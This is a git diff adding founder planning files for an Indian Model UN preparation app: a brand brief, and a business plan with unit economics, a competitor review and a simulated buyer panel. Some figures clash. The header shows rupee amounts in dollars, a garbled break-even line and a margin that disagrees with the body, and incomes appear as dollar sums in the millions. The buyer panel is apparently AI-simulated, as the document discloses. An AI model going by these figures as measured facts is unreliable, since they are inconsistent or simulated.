app's own system prompt instructs the model not to invent citations and to mark doubtful claims as "needs verification", but there is **no retrieval layer** — the model is answering from its weights, so nothing can actually be pointed at. The instruction is a hope, not a mechanism. + +**Choose one and commit:** + +- **(a) Build it:** index real sources (UN documents, government statements, treaty texts, current affairs) and cite them. Then the promise above is true, and it is the promise that beats the category leader on its own ground. **This is the board's recommendation and the product lens's condition 3.** +- **(b) Stop implying it:** reposition as a **strategy coach** — committee procedure, debate tactics, speech structure, resolution wording, how to caucus. Promise *"a delegate who knows what to say and when"*, not *"facts you can trust"*. In that version the promise becomes: *"You will walk into committee knowing exactly what to do — and how to say it."* That is true to what the architecture actually does, and it is a real product. + +**Until one is chosen, the brand must not claim accuracy.** That is not a positioning preference, it is the difference between a brand promise and a lie — and in a category where a competitor is publicly campaigning against tools that invent citations, it is also the difference between a debate the founder can win and one he cannot afford to have. + +### Tagline — three options + +1. **"Know what to say, and where it came from."** — the rigour promise, for path (a). +2. **"Speak like you've done this before."** — the confidence promise, safe on either path, aimed at the first-timer (50% buy rate). +3. **"Three weeks out. One brief. No lies."** — the honest one; pairs with the "who this is not for" post in `marketing.md`. Blunt, memorable, and it makes the free brief a brand behaviour rather than a promotion. + +**Recommendation: use 2 on the site, 1 once retrieval exists.** 3 belongs in the launch campaign where the honesty is the point. + +### Voice — three adjectives + +**Plain, not clever.** +- Do: *"Your committee. Your country. One brief, free, before you pay."* +- Don't: *"Unlock your diplomatic potential with AI-powered intelligence."* +- Why: the buyer is a 16-year-old on a phone deciding whether ₹299 is worth their lunch money. Cleverness reads as a scam. + +**Evidence-first, not impressive.** +- Do: *"This is the source. Open it before you speak."* +- Don't: *"Powered by state-of-the-art large language models."* +- Why: the panel's single biggest objection was *"I don't trust AI facts in committee"* (10 of 31 non-buyers). Nothing about scale or models answers it. Only proof does. + +**On the delegate's side, not the seller's.** +- Do: *"Write it yourself — use this for the part before that."* +- Don't: *"Get your position paper written for you."* +- Why: the panel flagged the cheating worry unprompted (*"Will my chair penalise me for AI-written work?"*). The honest posture — research aid, not ghostwriter — is both true and the brand's escape from the academic-integrity question. + +### Before / after — one line from `pitch.md` + +**Before:** *"Tell it your committee, your agenda and your country. It writes your research brief, your country's position, your position paper, your opening speech, your POIs and your draft resolution clauses."* + +**After:** *"Give it your committee, your agenda and your country. It gives you the research, the sources behind it, and the outline of what to say — and you write the paper that goes in, because it's your committee."* + +The rewrite drops the promise that the product does the delegate's work, takes the integrity objection away, and stops claiming a source base that does not exist yet. + +## The look + +**Keep the existing palette. It is right.** What follows is the brief that makes it consistent, with the contrast checks the skill asks for. + +| Colour | Hex | Job | Text on it | +|---|---|---|---| +| **Paper** | `#f7f3ea` | The background everywhere. The "document". | Ink `#171412` on paper = **contrast 15.9:1** ✅ AAA (needs 4.5:1 for body, 3:1 for large) | +| **Ink** | `#171412` | All body text; the dark panel. | Paper on ink = **15.9:1** ✅ AAA | +| **Oxblood** | `#7a1f2b` | The primary action, and only there. One button per screen. | Paper on oxblood = **9.8:1** ✅ AAA · oxblood on paper = 9.8:1 ✅ (do not use oxblood on brass) | +| **Brass** | `#b78a42` | Accent only — the rule under a heading, a countdown, a highlight. Never body text. | **Ink on brass = 7.1:1** ✅ AA for body; **paper on brass = 2.2:1** ❌ fails — never put white/paper text on brass | +| **Patina** | `#1d6f68` | The "verified" signal — the colour of a check mark next to a source, once sources exist. Reserve it for exactly that. | Paper on patina = **5.5:1** ✅ AA | + +*Ratios are WCAG 2.1 relative-luminance calculations. **These must be re-verified with a contrast checker against the actual rendered CSS** before being treated as audited — I computed them from the hex values, and the app renders colours through several translucent layers (`--surface-bg: rgba(255,250,241,0.78)` and the body's two radial gradients), which change the effective background under any text placed on them. **That is the specific thing to check, because it is the one place where a palette that looks compliant can fail in practice.*** + +**Type — free, and already licensed by being a system stack.** The display serif is `Georgia` (or Cambria/Times fallback), the body is `Aptos`/`Avenir Next`/`Segoe UI`, the data face is `Cascadia Code`/`Consolas`. **All are system fonts: nothing to license, nothing to load, no font-flash, and the page stays fast on a cheap Android phone.** Recommendation: **keep them.** A Google font would add a request and a licence question for a look that is already distinct. *If a display face is ever wanted, choose only a SIL Open Font License face from Google Fonts (e.g. `Source Serif 4`, `Spectral`, `Instrument Serif`) — free to use commercially — and never a "free for personal use" font.* + +**Logo brief.** What it must say: *this is a document for a committee.* Where it must work: as a **favicon at 32px** (the current `/icon.svg` should be checked at that size), on a conference stall banner, on an Instagram profile circle, and embossed-feeling on the confirmation screen. Direction: a **mark built from letterforms or a document/placard geometry in oxblood on paper** — a monogram or a single strong glyph reads at 32px where a detailed crest does not. **Avoid:** globes, doves, UN-blue and the United Nations emblem *in any form* — the UN emblem is protected and using it would be both a legal and an integrity problem. Avoid gavels (the law-product cliché) and anything that looks like a school crest. + +**Generated concepts are concepts.** If image concepts are wanted, they must be marked as drafts and redrawn by a designer or traced properly before use anywhere real. + +## The first five touchpoints + +1. **The homepage** (currently "Prepare like your committee starts tomorrow." **Change it.** It sells to the night-before crammer, the cohort that bought at 0%): → **"Three weeks to go. Your committee, your country, your brief — and the sources behind it."** *(drop the last clause until retrieval exists)*, with **the price visible and a free first brief button above the fold.** +2. **The confirmation screen after payment** (the only warm moment the product currently has): not "Payment successful." → *"You're in. Tell us your conference date and we'll build your prep order backwards from it."* This is also where the countdown from the product lens gets born. +3. **The receipt/email:** plain, branded, and it states the refund promise in the same words used on the site. A receipt is the first thing a parent reads; write it for the parent. +4. **The first social post:** the screen recording of a real brief being generated for a real committee. No music, no captions over the top, no cuts. The product is the proof. +5. **The reply to the first complaint:** *"That's a fair complaint. Here's what I'm changing, and here's your refund if you want one."* Written by the founder, signed by the founder, no template. This reply will be screenshotted and posted in a WhatsApp group more often than any ad — it is a brand asset, and it should be treated like one. + +## Rules + +- Never a screenshot of the competitor's product that has been mocked up rather than taken live, and never a comparison that is not literally true. +- Never a font, icon or image the founder has no right to use; the system-font stack above already avoids this entirely. +- Never a claim of accuracy, awards or endorsements the product cannot evidence. +- **Not legal advice on trademarks.** The India, USPTO and UKIPO searches above are the founder's to run, and a lawyer confirms before any money is spent on the name. diff --git a/founder/business-plan.md b/founder/business-plan.md new file mode 100644 index 0000000..2084f65 --- /dev/null +++ b/founder/business-plan.md @@ -0,0 +1,1112 @@ +# MUN Prep App (working name; live at mun-ai-app.vercel.app) · Business plan + +**Verdict: Not yet** + +- ✓ Each monthly pass (30 days of access) earns $254.00 before fixed costs (85% contribution). +- ✓ Year 1 operating profit: $329,566. +- ✗ 9 of 40 simulated buyers buy (22%, the bar is 25%). + +| key number | | +| --- | ---: | +| Price | $299.00 a monthly pass (30 days of access) | +| Profit margin at plan | 82% per monthly pass (30 days of access) | +| Break-even | 1 monthly pass (30 days of access)s a day | +| Year 1 operating profit | $329,566 | +| Startup spend | $15,000 | +| Cash needed before it pays for itself | $15,419 | +| Startup money earned back | month 4 | +| Buyer panel | 9 buy · 31 pass | + +## The idea + +- **What it is:** A web workspace that helps a Model UN delegate do the week's prep before a conference — AI research briefs, country policy profiles, position papers, opening speeches, POIs, rebuttals, and resolution drafting, plus a library of MUN courses, a terminology glossary and quizzes. +- **Who it is for:** Model UN delegates. Primarily Indian school and college students, roughly 14–22, English-medium, who are preparing for a specific conference date. Secondary: MUN club heads, school MUN coordinators, and MUN coaches/trainers who prep delegations. +- **What it sells, at what price:** Two time-boxed passes, sold in Indian rupees through UroPay (UPI): **₹199 for a 7-day Weekly Pass** and **₹299 for a 30-day Monthly Pass**. Both give the same core access — the difference is duration and two monthly extras (longer prep history, multiple committee workspaces, priority model routing, export-ready drafts). There is no free tier and no free trial; the AI workspace requires an active pass. Separately, the app sells machine access to bots/crawlers via x402 microtransactions ($0.05 per AI research call, $0.005 per content call), which is a rounding-error revenue line today. +- **Where and how:** Entirely online, browser-based, no app store. Customers arrive through Google search, MUN Instagram/WhatsApp communities, and a **referral partner programme** (partners get a unique link and **16.72% commission on a referred customer's first purchase**). Delivery is instant: pay by UPI, entitlement activates server-side, access runs for the period bought. +- **Budget and constraints:** The product is already built and deployed (Next.js 16 + Supabase on Vercel, UroPay for payments, NVIDIA NIM models for inference). There is no salary cost — it is a solo founder building in public. The binding constraints are (a) **distribution**: there is no evidence yet of any paying customer, and (b) **inference cost control**: the app exposes a "Max" mode backed by Kimi K3 that costs roughly 150× the default mode per request, with no plan-level cap on how much a ₹199 weekly buyer can burn. + +### What is already decided (do not re-open) + +- Price points: ₹199/week, ₹299/month. Set in `lib/plans.ts`. +- Payment rail: UroPay. Flat monthly fee, **zero per-transaction commission**. Not negotiable in this analysis. +- Usage caps: 60 AI requests/day and 300,000 tokens/day **per user**, regardless of plan. +- GPU/provider: NVIDIA NIM — GLM-5.3-Flash for Quick and Thorough modes, Kimi K3 for Max mode. + +## Summary + +**Verdict: Not yet.** Three of the four computed checks pass. One fails — and it is the one that decides everything. + +### What has to change, and where + +The failing check is the buyer panel's buy rate: **9 of 40 simulated buyers buy (22%), against a 25% bar.** Nothing else failed. The unit economics pass comfortably and year 1 makes an operating profit. + +But the shape of the failure is more useful than the failure itself: + +- **The financial checks pass on guesses, and the demand check fails on a simulation.** Every one of the four checks rests on a number that has not been measured in the real world. The inference cost per customer is estimated from token ceilings in the code, the ramp is a plausible shape with no funnel behind it, and the buy rate comes from buyers I simulated. **So the verdict "Not yet" is a statement about the offer as modelled, not a prophecy about the market.** +- **It fails by one buyer.** 9/40 is 22.5%; 10/40 would be exactly 25% and would pass. The bar is not a cliff, and the verdict flips on a single simulated person. That is a reason to distrust the verdict's precision and *not* a reason to call it a pass — at 100 buyers the same 22% rate still fails, so the finding is the rate, not the sample size. + +**So the honest reading is: the money works, the market is unproven, and the single number that decides the verdict is the one number nobody has measured.** The fix is not in a spreadsheet. It is `launch.md` Step 1 — put a real founding-member offer in front of 150 real delegates and count. That test replaces the panel number, and it is the only thing that can. + +**What would change the verdict:** 15 real paying customers from 150 delegates reached directly (10%), which is a better real-world result than 22% of a simulated panel is evidence for. **What would confirm it:** under 5, in which case the answer is "no, not yet" and the response is `offer.md`, not marketing. + +### The business + +**MUN Prep is an AI preparation workspace for Model UN delegates in India — tell it your committee, agenda and country, and it drafts the research brief, position paper, speech, POIs and resolution clauses, with MUN courses and quizzes alongside.** It is sold to delegates aged 14–22 preparing for a specific conference date, at ₹199 for the week of a conference or ₹299 for a month, paid by UPI, with **no free tier and no free trial**. + +### The three numbers + +| | | +|---|---| +| **Contribution per monthly pass** | **₹254** (85%) — ₹299 less ~₹25 of inference and ~₹20 of amortised referral commission | +| **Break-even** | **~8 passes a month** — one every four days. Fixed costs are only ₹1,943/month, because UroPay charges **zero per-transaction commission** and Supabase's free tier carries the database | +| **Year 1 operating profit** | **₹329,566** on ₹415,401 of revenue, at 0.2 passes/day in month 1 rising to 8.5 by month 12 | + +**Cash needed to start: ~₹15,400** (₹15,000 of startup spend plus the month-1 shortfall). Cumulative cash turns positive in **month 4**. This business can be started without investment. + +**Sensitivity:** the financial structure is robust. Volume down 60% still yields ₹117,837 in year 1 at a 78% margin. A 10% price cut costs ₹41,540 of year-1 profit and changes nothing structural. **Only one input can break it, and it is not demand — see the biggest risk below.** + +### Where the board and the panel agreed, and where they disagreed + +**Agreed.** The board's three lenses (2 fund-if, 1 pass, average 5.7/10) and the buyer panel point at the same two failures without having seen each other's work. The Offers and Product lenses both identified *price hidden behind sign-in* and *pay before seeing* as the top kill risks. The panel independently made them the top two objections: **trust (10 of 31 non-buyers)** and **"show me before I pay"** (the most common flip condition in every segment). When a simulated market and three analytical lenses converge on the same defect, that defect is real regardless of whether either method is sound. + +**Disagreed — and this is the more interesting part.** The Product lens scored 7/10 and wants the product let out of the box; the Monopoly lens scored 4/10 and says a well-built product in a crowded market with no moat is still a bad business. **The panel sided with neither: it bought at 60% among award chasers and 40% among club coordinators, and at 0% among the night-before crammers the current marketing appeals to.** That is a third answer — the product is not the problem and the market is not the problem, **the buyer being targeted is the problem.** The offer is aimed at casual delegates with a 0% buy rate and priced at an audience that buys. + +**And the panel's most uncomfortable finding, which nobody predicted:** the biggest cohort in the panel (prepares the night before, 8 buyers) bought at **0%**. The largest apparent market is the least willing to pay. + +### The biggest risk + +**A single heavy user of the "Max" mode can cost more than they pay.** Kimi K3 costs ₹13.86 per request — **191× the default model** — and the mode toggle is user-selectable on both plans with identical daily caps (60 requests / 300,000 tokens) on a ₹199 weekly pass and a ₹299 monthly pass. **One Max request a day loses ₹117/month per user. Five loses ₹1,780.** Modelled with a heavy Max user as the average, contribution goes to **−₹1,800 per pass and the business never breaks even at all.** The caps bound one user's damage at roughly ₹11,880/month — 40× what they paid. + +**What will be done:** cap Max per pass (or move it behind the monthly tier) so it becomes a ceiling instead of an open tap. This is a one-line policy change, it is the highest-value fix in the pack, and it removes the entire downside scenario. The second-order version — deleting the mode toggle and letting the server pick the model — also lifts contribution from ₹254 to ~₹271 by cutting inference per pass from ₹25 to ~₹8, and answers the Product lens's finding that a token slider is a spec sheet, not a feature. + +**And the risk that is not money:** the product is built for delegates aged roughly 14–22, a large share of them **minors**, and there is **no age gate and no parental-consent flow anywhere in the code**. India's DPDP Act treats under-18s as children and requires verifiable parental consent for their data. A product marketed to schoolchildren that stores their conversations needs this before the school channel is worked, not after. **This is the one item in the pack with a lawyer's name against it.** + +### What is needed to start + +**₹15,400 of cash** (CFO) and **one real test** (launch): a "Founding 50" offer — the first 50 delegates get a month for ₹199, the price of a week — announced only to people the founder reaches directly, with a written success line of **15 paid from 150 delegates reached in 14 days**, and a decision rule fixed in advance so the result cannot be argued with. + +### The one thing to do this week + +**Build the free first brief: one complete research brief, free, once per account, before anyone is asked to pay.** + +It costs about **seven paise** to serve. It answers the single objection shared by the largest group of non-buyers and the most common flip condition in every segment. It is the precondition for the launch test, and it is on the critical path — if it slips, the launch date slips with it, because launching without it means relaunching into the funnel that currently converts nobody. + +**Do this one thing before anything else in the pack.** + +--- + +**How to read this pack.** The panel is **simulated buyers**, and the money figures are **projections from modelled inputs** — real customers and real quotes are what confirm them, and the launch test is designed to produce exactly that. This is **not financial, legal or tax advice**: the GST position on digital services, the treatment of referral commissions for withholding tax, business registration, and the children's-data question all need an accountant or a lawyer before money moves at scale. Where a number is an estimate rather than a measurement, `cfo-sources.md` says so and names it. + +## What the board said + +**Vote: 2 fund if, 1 pass. Average score 5.7 / 10.** + +| Member | Score | Vote | Where it landed | +|---|---|---|---| +| Offers lens | 6 / 10 | **FUND IF** | Market passes 3 of 4 tests and the ₹2,500 conference fee is a strong anchor, but the offer fails on perceived likelihood (no proof, no citations) and asks for money before any demonstration. | +| Monopoly lens | 4 / 10 | **PASS** | Crowded market, none of the four sources of durable advantage, incremental rather than 10×, and no answer to a copycat in month six. | +| Product lens | 7 / 10 | **FUND IF** | The moment and the craft are right and the packaging is thoughtful, but the first five minutes are a paywall and the product's own rigour promise contradicts its architecture. | + +The members disagree about the *shape*, not the facts. The Product lens sees a well-built product aimed at a real moment and wants it let out of the box. The Monopoly lens accepts all of that and says a well-built product in a crowded market with no moat is still a bad business. Both are right, and the disagreement is the most useful thing on this page: **the founder has built something good and has not yet built something defensible.** + +### The risks more than one member raised — these go first + +**1. 🔴 Nobody can verify the output, and that is the product's core promise. (Raised by all three.)** +The app has **no retrieval layer**. The models answer from their own weights, and the "do not invent citations / mark as needs verification" instruction in the system prompt is a hope, not a mechanism. Meanwhile the category leader's entire pitch is the opposite — retrieval-first, cited primary sources, explicitly contrasting itself with tools that invent citations. A delegate who states a fabricated statistic in a moderated caucus is publicly embarrassed, and the risk is greatest exactly where the product is most useful: position papers and speeches. The Offers lens marks this as the failure of *perceived likelihood*. The Monopoly lens marks it as the axis where the product is *behind*, not merely not-ahead. The Product lens marks it as a promise the architecture cannot keep, and is blunt that the middle position — implying authority without evidence — is the worst of the three options. + +**2. 🔴 The paywall comes before any demonstration, and the price is hidden behind sign-in. (Offers, Product.)** +There is no free tier and no free trial, and `/pricing` redirects to `/auth/signin`. So a cold visitor must create an account, *then* pay ₹199, before seeing a single line of output — while a competitor offers 200 free searches then 50/day, and a general model that does most of the job is free in the next browser tab. Both members independently called this the most *fixable* problem in the pack. + +**3. 🟠 There is no moat, and the substitutes are free. (Monopoly, Offers.)** +No proprietary data, no network effect, no scale advantage, no brand. The cheapest possible substitute is ₹0. The category leader claims 58k–86k users and is priced *above* this product, meaning it can cut into this position at will while this product has no room to retreat. The Offers lens adds the sharper version: three modes and a token slider is a feature comparison, and features compete down to price. + +**4. 🟠 The "Max" mode is a margin hole and an experience mistake. (Product; quantified by the CFO.)** +Max runs on Kimi K3 at $3/$15 per million tokens — roughly **150× the default mode** per request — and any ₹199 weekly buyer can use 12,000-token Max responses with no plan-level cap. The Product lens says a delegate should never be handed a token slider at all; the numbers in `founder/cfo.md` show what the toggle costs. + +**5. 🟠 Distribution is asserted, not planned. (Monopoly, Offers.)** +The referral programme (16.72% of first payment) and organic pages are in place, but the Monopoly lens is right that "MUN Instagram" is a hope until it is a channel with dates, owners and numbers in it. The first hundred paying customers have no named path. + +### The conditions, merged — the rest of the pack tests these + +- [ ] **Let a delegate feel the product before paying.** A hard-capped free first experience (a handful of requests, once per account, no card). *Product lens condition 2; Offers condition 1.* +- [ ] **Show the price on the page, before sign-in.** Remove the `/pricing` → `/auth/signin` redirect. *Offers condition 2.* +- [ ] **Resolve the rigour contradiction in one direction.** Either index primary sources and cite them, or reposition to strategy and stop implying factual authority. No middle. *All three; Product condition 3.* +- [ ] **Kill the mode toggle.** One best answer chosen for the buyer; tie the expensive model to a plan tier or an internal quality bar, not a user switch. *Product condition 1; the CFO quantifies it.* +- [ ] **Anchor the product to the conference date.** Ask for the date and shape the workspace around a countdown and a prep order. Costs nothing in inference; strongest available lever. *Product condition 4.* +- [ ] **Sell to blocks, not only to individuals.** MUN club heads, school coordinators and coaches buy many seats in one conversation. *Monopoly condition 2; Offers condition 4.* +- [ ] **Obtain and publish real third-party proof** — an award, a coach's endorsement, a testimonial the delegate actually said. *Offers condition 5.* +- [ ] **Find the secret.** The one asset only the founder has: the Indian MUN conference calendar and circuit knowledge (dates, committees, agendas, chairs, results). This is the only route to a monopoly the Monopoly lens could see. *Monopoly conditions 1–3.* +- [ ] **Name the first hundred customers and the cost of each.** *Monopoly question 5.* + +### The strongest version of this business the board can see + +*(It differs from what was pitched, and it is fair to say so plainly.)* + +Not a ₹299 AI writing assistant competing with ChatGPT and a better-funded specialist on features — that fight is lost before it starts. The board's strongest version is **the preparation system for Indian MUN delegations, sold to the people who buy in bulk.** Build the asset nobody else has: the conference circuit itself — every Indian MUN on the calendar with its dates, committees, agendas, chairs and outcomes — and wrap it in preparation that is *verifiably correct* because it is indexed against primary sources rather than generated and hoped for. Sell it first to club heads and school coordinators as a delegation-sized block, because one conversation there is worth thirty cold sign-ups and it comes with the club's credibility behind it. Keep the individual ₹199 weekly pass as the self-serve door, but let a delegate walk through the first few steps free so they can feel the difference from ChatGPT in their own committee's words. The bot rail stays as a curiosity, not a strategy. In that version, the moat is the circuit data plus the rigour brand plus the block relationships — three things a competitor with a model API cannot copy by writing a better prompt — and MUN Prep becomes the first place an Indian delegate goes, before they even know they need help. + +## The competition + +Every delegate already solves this problem somehow, usually for ₹0. Sources are public and linked; ratings and review counts are left blank where I could not verify them rather than guessed. Full data: `competitors.csv`. + +### 1. Who is there + +#### Direct + +**Model Diplomat** — [modeldiplomat.com](https://modeldiplomat.com/pricing). The category leader and the only true direct competitor I could verify. Purpose-built MUN AI: source-cited research, position papers, memos and speeches, crisis/simulation tools, 193+ country profiles, voting records, plus free courses and daily briefings. Its pricing page states Pro at **$20/month or $144/year** ($12/mo billed annually), with a **free tier: 200 searches to start, then 50/day**, and a 3-day Pro trial. Its MUN positioning line is "Walk into committee with the record at your back." Its own blog claims **58,000+ users** (Sep 2025, [toolai.io](https://www.toolai.io/ai/model-diplomat)), rising to **80,000+** ([Apr 2026](https://blog.modeldiplomat.com/mun-simulation-software-tools-2026)) and **86,000+** ([Apr 2026](https://blog.modeldiplomat.com/best-mun-software-uk-2026-ranked)) — self-reported marketing numbers, not audited, but the trend and the order of magnitude are the point. + +**MUN Prep App** — this business. ₹199/week, ₹299/month, no free tier. + +#### Indirect + +- **WiseMee** — free static content library for MUN fundamentals. +- **Best Delegate** — the long-running MUN education site and training business; its [India page](https://bestdelegate.com/model-un-india/) (older, 2014) describes an Indian circuit "exploding with conferences happening every weekend". More a free content competitor for the delegate's attention than a paid one. +- **MUN coaching and training in India** — the real incumbent for the prep hours. I could **not verify current coaching prices** from a public source, so I am not putting a number on it. This is an open question and one of the most important ones in the pack: if a school already pays a coach, the coach either becomes this product's best distribution channel or its strongest competitor. +- **MUN Command (by mymun), ChairMUN, Muncoordinated** — conference *organiser* software (procedure management, resolution drafting). Different buyer, adjacent budget. + +#### Substitutes — how delegates solve this without a business + +| Substitute | Price | Why it is dangerous | +|---|---|---| +| **ChatGPT free tier** | ₹0 | Already open in the next tab. With a decent MUN prompt it produces a usable brief, position paper and speech. This is the default option and it costs nothing. | +| **ChatGPT Go / Plus** | ₹399 / ₹1,999 per month | For ₹399 the delegate gets far more than MUN prep. India-localised pricing with UPI support makes it trivially purchasable. | +| **Free position-paper generators** | ₹0 | A whole category of SEO-driven tools, several requiring no login at all ([example](https://custom-writing.org/writing-tools/position-paper-generator)). | +| **Free MUN prompt packs** | ₹0 | [Copy-paste prompts](https://docsbot.ai/prompts/education/mun-position-paper) for ChatGPT, Gemini and Claude. | +| **Grammarly / QuillBot** | ~$12 / ~$8.33 per month | Polish for the writing half of the job. | +| **A friend, a senior, a school club** | ₹0 | The actual status quo for most Indian school delegates. | + +### 2. Price range for the comparable item + +For "AI-assisted MUN preparation, one month of access": + +- Lowest: **₹0** (ChatGPT free, free generators, free prompt packs, WiseMee) +- MUN Prep App: **₹199/week, ₹299/month** +- ChatGPT Go: **₹399/month** +- Free-tier-plus-subscription specialist (Model Diplomat Pro): **$20/month ≈ ₹1,760**, or $12/mo annual ≈ ₹1,060 +- Highest: ChatGPT Plus **₹1,999/month** + +**Median for a paid specialist MUN tool: Model Diplomat at ≈ ₹1,060–1,760/month.** MUN Prep App at ₹299 is roughly **one-fifth to one-sixth** of the specialist leader, and **below** the general-purpose ChatGPT Go tier. The product is the cheapest paid option in the category — and the cheapest option of all is still free. + +### 3. Positioning map (text) + +Two axes that matter to *this* buyer, inferred from the evidence above: **price** (horizontal) and **whether the delegate can trust the facts out loud** (vertical). + +``` + TRUSTWORTHY / CITED + ▲ + │ + Model Diplomat ● │ + (~₹1,060–1,760) │ + │ + WiseMee ● (free, │ + static, cited-less) │ + │ + ◀───────────────────────┼───────────────────────▶ + FREE / CHEAP │ EXPENSIVE + │ + ChatGPT free ● │ + (₹0, fluent, │ + invents citations) │ + │ + Free generators ● │ + │ ChatGPT Go ● (₹399) + MUN Prep App ● (₹199/₹299) ChatGPT Plus ● (₹1,999) + │ + ▼ UNVERIFIED / RISK OF FABRICATION +``` + +**MUN Prep App sits in the cheapest band, in the unverified band.** It is closest to the free substitutes on trust (no retrieval, no citations) while charging money. Model Diplomat occupies the position MUN Prep would want: mid-price, high trust. + +### 4. What their customers complain about + +I could read public pages and pricing, but **I could not read 1–3 star review sets with counts for these tools** — there are no app-store listings and no review corpus with volume for the MUN AI category. Marking that theme **thin** and saying so plainly, as the skill requires, rather than inventing complaints. + +What is defensible without review counts: + +1. **Model Diplomat's model is credit-metered and capped.** Its own pricing page distinguishes free ("daily refill doesn't stack", no citations, no drafting) from Pro ("400 AI searches every month", "buy non-expiring credits"). A delegate who hits the cap mid-conference must buy more. *Theme thin — one source, the vendor's own page.* +2. **The whole category's credibility problem is one a competitor is actively campaigning on.** Model Diplomat's comparison pages repeatedly attack general assistants for invented citations ("Does it invent citations like ChatGPT? No... It cannot cite a document that is not in its index"). That is a public claim that MUN-prep-by-general-model is untrustworthy — aimed squarely at products like MUN Prep App. *Linked, dated 2026-08-28.* +3. **Pricing opacity elsewhere in the category** — the same "best AI tools for MUN" listicle notes of the leader that "pricing is not transparent; users must inquire or sign up for details" ([2026-04-23](https://blog.modeldiplomat.com/best-ai-tools-for-mun-delegates-2026)). MUN Prep App's ₹199/₹299 is clear and low — but currently hidden behind a sign-in, which forfeits that advantage. + +### 5. The gap + +**The gap is real, and it is not "an AI for MUN" — that position is taken.** Three gaps are genuinely open on this evidence: + +1. **A free first experience is table stakes and only one player offers it.** The leader gives 50 free searches a day; MUN Prep App gives none. Everyone offering free is ahead of this product on the only metric that matters at the top of the funnel. +2. **Nobody has built for the Indian circuit specifically.** Every competitor is global and generic in currency, in pricing psychology and in what a delegate actually needs: Indian school delegations, teachers who approve spending, WhatsApp-based club coordination, and the specific conferences on the circuit. The competitor's product is priced at ₹1,060–1,760/month, which is not an Indian school student's pocket money; ₹199 for the week of one conference is a different product shape entirely, and it is unoccupied. +3. **Nobody has indexed current-event facts for Indian MUN committees with verifiable sources**, and the leader's index is a general treaty/UN-vote corpus, not "what is actually being debated in committees on the Indian circuit this season". That is an open and defensible gap — but it must be *built*, not asserted. + +If none of this is pursued, then there is **no gap**: the honest floor case is that MUN Prep App is a cheaper, less trustworthy, less-distributed version of a product that is already free at the entry tier. + +### 6. The threat — who could copy this fastest, and how + +**Model Diplomat**, and it would take them a week. They already have the users, the sources, the trust positioning and the free tier. An India-localised price (₹299/month) plus a school-bundle offer is a pricing-page change for them, and it would remove the only dimension on which MUN Prep App currently wins. Their existing free tier means they can afford to price below this product indefinitely. + +Second-fastest: **anyone with a model API key and a weekend.** There is no retrieval layer, no proprietary dataset and no network effect to copy around — a competent builder can reproduce the feature set from the public pages. + +Third, and the one to watch: **a general model lab shipping an education mode.** That does not compete with this business, it *deletes* it. + +## The buyer panel + +> ### ⚠️ Read this before you trust the buy rate +> +> **This panel is not what the skill specifies.** `/founder-consumer` calls for **one sub-agent per +> buyer** — 40 independent agents, each reading only its own brief, so their answers are independent +> and the tally is a real vote. No sub-agent runtime was available in the environment where this was +> run, so the same agent that wrote the pitch also played all 40 buyers in a single pass. +> +> **What that does and does not give you:** +> +> - ✅ Useful: the personas are dealt deterministically by `panel.py` (seed 11, reproducible), so the +> segments, objections and *reasons* below are a structured map of where this offer breaks. The +> quoting back of the offer's own text ("no free trial", "pay first") is exactly the objection +> mining the skill is for. +> - ❌ Not useful as evidence: **22% is not an independent measurement of demand.** One agent playing +> buyer and seller shares the same priors on both sides, so the number is closer to a considered +> guess than to a vote. Treat it as *a* number, not *the* number. The skill itself says to read +> simulated buy rates as an upper bound and confirm with real people — and this run cannot even +> claim to be an upper bound, only a direction. +> - 🔁 To get the real thing: re-run with 40 sub-agents, or better, replace it with the cheapest real +> test in `founder/launch.md` — a real price in front of real delegates. That test outranks +> everything on this page. +> +> Everything else in this pack — the competitor prices, the conference counts, the model costs — is +> sourced and checkable. This table is the one part that is a model of a market rather than a +> measurement of one. + +## Buyer panel: MUN Prep App (AI preparation workspace for Model UN delegates, India-first, ₹199/week or ₹299/month) + +**9 buy · 31 pass** (22% buy) out of 40 simulated buyers. Seed 11, so the same cards can be dealt again. + +These are simulated buyers, not customers. Use this to find objections and weak spots, then confirm the big ones with real people before you spend. + +### By segment + +| group | buyers | buy rate | +| --- | ---: | ---: | +| Club head or coordinator buying for a group | 5 | 40% (thin) | +| Circuit regular chasing awards | 6 | 33% (thin) | +| College delegate, own pocket money | 14 | 21% | +| School delegate, parent pays | 15 | 13% | + +### By buying behaviour + +| group | buyers | buy rate | +| --- | ---: | ---: | +| Award chaser, reads past papers | 5 | 60% (thin) | +| First conference, no idea what to expect | 6 | 50% (thin) | +| Taught by a school MUN coach | 6 | 33% (thin) | +| Already uses ChatGPT for everything | 9 | 11% | +| Prepares the night before | 8 | 0% | +| Reads reviews and asks seniors first | 3 | 0% (thin) | +| Deal hunter | 3 | 0% (thin) | + +### By income + +| group | buyers | buy rate | +| --- | ---: | ---: | +| $1,392,000 and up | 14 | 29% | +| under $680,000 | 13 | 23% | +| $680,000 to $1,392,000 | 13 | 15% | + +### Why they pass + +| reason | buyers | in their words | +| --- | ---: | --- | +| trust | 10 | "My coach gives us material I can check with him. If the AI says something wrong in an unmoderated caucus I am the one standing there." (P002) · "I always check reviews before paying and I could not find anyone who used this. That is not proof it works, that is proof nobody is saying it does." (P004) | +| price | 7 | "226000 a year is not a lot and it is my own money. I would panic-buy the night before, but I would rather phone a friend who has done it." (P003) · "There is no free trial and I never pay full price for something I have not tested. I will wait for a discount." (P005) | +| other | 5 | "Our school coach runs sessions and my parents already paid 2500 for the conference. I will ask him, not an app." (P007) · "My school coach hands us templates and checks our papers. I do not need to pay for the same thing." (P026) | +| convenience | 5 | "I do everything the night before and I reach for whatever is already open. Asking an app to do MUN specifically has never occurred to me." (P009) · "A senior in my WhatsApp group sent me their whole folder of old papers. I have free material sitting right there." (P012) | +| quality | 3 | "I use ChatGPT every day and it is fine. I am not paying for a version of what I already have without seeing a difference." (P024) · "At 11pm the night before I would pay anything, but you have to show me something first. 199 for a week I will only use once is not convincing either." (P025) | +| habit | 1 | "I already have ChatGPT and my coach has templates. Adding one more thing to pay for is friction I do not need this week." (P006) | + +### Why they buy + +| reason | buyers | in their words | +| --- | ---: | --- | +| quality | 5 | "I have three conferences this season and the difference between a good brief and a thin one is the difference between speaking and sitting silent. 299 is nothing next to what I spend on travel." (P011) · "I have come second twice. Anything that sharpens my opening speech is worth a month of pocket money and 299 is nothing." (P016) | +| need | 4 | "I have never been in committee and I am honestly scared. Having a brief ready in my own committee's words is worth more than the money." (P001) · "I run my school's club and I would spend 299 to test it for the whole team. If it works I want it for twenty people, not one." (P013) | + +### What would flip a no + +- If every claim came with a source I could open. +- It being free for one brief so I can see the quality. +- Two or three awards from people I can look up. +- Any free trial 